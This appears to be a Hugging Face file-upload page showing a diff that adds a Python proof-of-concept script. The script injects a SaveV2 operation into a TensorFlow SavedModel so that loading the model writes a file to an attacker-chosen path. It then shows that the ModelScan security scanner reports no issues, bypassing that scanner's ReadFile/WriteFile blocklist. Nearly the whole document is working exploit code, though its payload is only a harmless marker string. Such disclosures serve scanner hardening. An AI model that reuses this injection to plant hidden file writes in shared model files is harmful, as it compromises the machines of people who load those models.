Upload poc_modelscan_bypass_savev2.py with huggingface_hub
Browse files- poc_modelscan_bypass_savev2.py +141 -0
poc_modelscan_bypass_savev2.py
ADDED
|
@@ -0,0 +1,141 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""PoC: ModelScan bypass using SaveV2 instead of WriteFile"""
|
| 3 |
+
import os, tempfile, shutil
|
| 4 |
+
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
|
| 5 |
+
import tensorflow as tf
|
| 6 |
+
from tensorflow.core.protobuf import saved_model_pb2
|
| 7 |
+
from tensorflow.core.framework import types_pb2
|
| 8 |
+
|
| 9 |
+
base_dir = tempfile.mkdtemp(prefix="tf_bypass_")
|
| 10 |
+
print("=== ModelScan Bypass PoC: SaveV2 instead of WriteFile ===")
|
| 11 |
+
|
| 12 |
+
# Create model with HashTable
|
| 13 |
+
class M(tf.Module):
|
| 14 |
+
def __init__(self):
|
| 15 |
+
super().__init__()
|
| 16 |
+
self.table = tf.lookup.StaticHashTable(
|
| 17 |
+
tf.lookup.KeyValueTensorInitializer(
|
| 18 |
+
keys=["a"], values=[1],
|
| 19 |
+
key_dtype=tf.string, value_dtype=tf.int32
|
| 20 |
+
), default_value=0
|
| 21 |
+
)
|
| 22 |
+
@tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
|
| 23 |
+
def serve(self, x):
|
| 24 |
+
return self.table.lookup(x)
|
| 25 |
+
|
| 26 |
+
m = M()
|
| 27 |
+
sm_dir = os.path.join(base_dir, "model")
|
| 28 |
+
tf.saved_model.save(m, sm_dir)
|
| 29 |
+
|
| 30 |
+
# Inject SaveV2 instead of WriteFile
|
| 31 |
+
pb_path = os.path.join(sm_dir, "saved_model.pb")
|
| 32 |
+
sm = saved_model_pb2.SavedModel()
|
| 33 |
+
with open(pb_path, "rb") as f:
|
| 34 |
+
sm.ParseFromString(f.read())
|
| 35 |
+
|
| 36 |
+
marker = "/tmp/tf_savev2_bypass"
|
| 37 |
+
for mg in sm.meta_graphs:
|
| 38 |
+
for func in mg.graph_def.library.function:
|
| 39 |
+
if "initializer" in func.signature.name:
|
| 40 |
+
# prefix (path to write to)
|
| 41 |
+
pf = func.node_def.add()
|
| 42 |
+
pf.name = "sv2_prefix"
|
| 43 |
+
pf.op = "Const"
|
| 44 |
+
pf.attr["dtype"].type = types_pb2.DT_STRING
|
| 45 |
+
pf.attr["value"].tensor.dtype = types_pb2.DT_STRING
|
| 46 |
+
pf.attr["value"].tensor.string_val.append(marker.encode())
|
| 47 |
+
|
| 48 |
+
# tensor_names
|
| 49 |
+
tn = func.node_def.add()
|
| 50 |
+
tn.name = "sv2_names"
|
| 51 |
+
tn.op = "Const"
|
| 52 |
+
tn.attr["dtype"].type = types_pb2.DT_STRING
|
| 53 |
+
tn.attr["value"].tensor.dtype = types_pb2.DT_STRING
|
| 54 |
+
tn.attr["value"].tensor.tensor_shape.dim.add().size = 1
|
| 55 |
+
tn.attr["value"].tensor.string_val.append(b"payload")
|
| 56 |
+
|
| 57 |
+
# shape_and_slices
|
| 58 |
+
ss = func.node_def.add()
|
| 59 |
+
ss.name = "sv2_slices"
|
| 60 |
+
ss.op = "Const"
|
| 61 |
+
ss.attr["dtype"].type = types_pb2.DT_STRING
|
| 62 |
+
ss.attr["value"].tensor.dtype = types_pb2.DT_STRING
|
| 63 |
+
ss.attr["value"].tensor.tensor_shape.dim.add().size = 1
|
| 64 |
+
ss.attr["value"].tensor.string_val.append(b"")
|
| 65 |
+
|
| 66 |
+
# data tensor
|
| 67 |
+
dt = func.node_def.add()
|
| 68 |
+
dt.name = "sv2_data"
|
| 69 |
+
dt.op = "Const"
|
| 70 |
+
dt.attr["dtype"].type = types_pb2.DT_STRING
|
| 71 |
+
dt.attr["value"].tensor.dtype = types_pb2.DT_STRING
|
| 72 |
+
dt.attr["value"].tensor.string_val.append(b"MODELSCAN_BYPASSED")
|
| 73 |
+
|
| 74 |
+
# SaveV2 op
|
| 75 |
+
sv = func.node_def.add()
|
| 76 |
+
sv.name = "sv2_op"
|
| 77 |
+
sv.op = "SaveV2"
|
| 78 |
+
sv.input.append("sv2_prefix:output:0")
|
| 79 |
+
sv.input.append("sv2_names:output:0")
|
| 80 |
+
sv.input.append("sv2_slices:output:0")
|
| 81 |
+
sv.input.append("sv2_data:output:0")
|
| 82 |
+
sv.attr["dtypes"].list.type.append(types_pb2.DT_STRING)
|
| 83 |
+
|
| 84 |
+
for node in func.node_def:
|
| 85 |
+
if node.op == "NoOp":
|
| 86 |
+
node.input.append("^sv2_op")
|
| 87 |
+
break
|
| 88 |
+
break
|
| 89 |
+
|
| 90 |
+
with open(pb_path, "wb") as f:
|
| 91 |
+
f.write(sm.SerializeToString())
|
| 92 |
+
|
| 93 |
+
# Step 1: Scan with ModelScan
|
| 94 |
+
print("[1] ModelScan analysis...")
|
| 95 |
+
from modelscan.modelscan import ModelScan
|
| 96 |
+
scanner = ModelScan()
|
| 97 |
+
results = scanner.scan(sm_dir)
|
| 98 |
+
issues = results.get("issues", [])
|
| 99 |
+
if issues:
|
| 100 |
+
print(f" ModelScan found {len(issues)} issues:")
|
| 101 |
+
for issue in issues:
|
| 102 |
+
print(f" {issue['operator']}: {issue['severity']}")
|
| 103 |
+
else:
|
| 104 |
+
print(" ModelScan found NO issues!")
|
| 105 |
+
|
| 106 |
+
# Step 2: Load model
|
| 107 |
+
print()
|
| 108 |
+
print("[2] Loading model...")
|
| 109 |
+
import glob
|
| 110 |
+
# Clean markers
|
| 111 |
+
for f in glob.glob(marker + "*"):
|
| 112 |
+
os.remove(f)
|
| 113 |
+
|
| 114 |
+
try:
|
| 115 |
+
loaded = tf.saved_model.load(sm_dir)
|
| 116 |
+
print(" Model loaded!")
|
| 117 |
+
|
| 118 |
+
files = glob.glob(marker + "*")
|
| 119 |
+
if files:
|
| 120 |
+
print(f" SaveV2 created files: {files}")
|
| 121 |
+
for f in files:
|
| 122 |
+
print(f" {f}: {os.path.getsize(f)} bytes")
|
| 123 |
+
print(" -> File write via SaveV2, bypassing ModelScan!")
|
| 124 |
+
else:
|
| 125 |
+
print(" No files created")
|
| 126 |
+
except Exception as e:
|
| 127 |
+
print(f" Error: {str(e)[:300]}")
|
| 128 |
+
files = glob.glob(marker + "*")
|
| 129 |
+
if files:
|
| 130 |
+
print(f" SaveV2 created files DESPITE error: {files}")
|
| 131 |
+
|
| 132 |
+
# Cleanup
|
| 133 |
+
shutil.rmtree(base_dir)
|
| 134 |
+
for f in glob.glob(marker + "*"):
|
| 135 |
+
os.remove(f)
|
| 136 |
+
|
| 137 |
+
print()
|
| 138 |
+
print("=== Summary ===")
|
| 139 |
+
print("SaveV2 writes checkpoint files to arbitrary paths.")
|
| 140 |
+
print("ModelScan does NOT detect SaveV2 as dangerous.")
|
| 141 |
+
print("This bypasses the ReadFile/WriteFile blocklist.")
|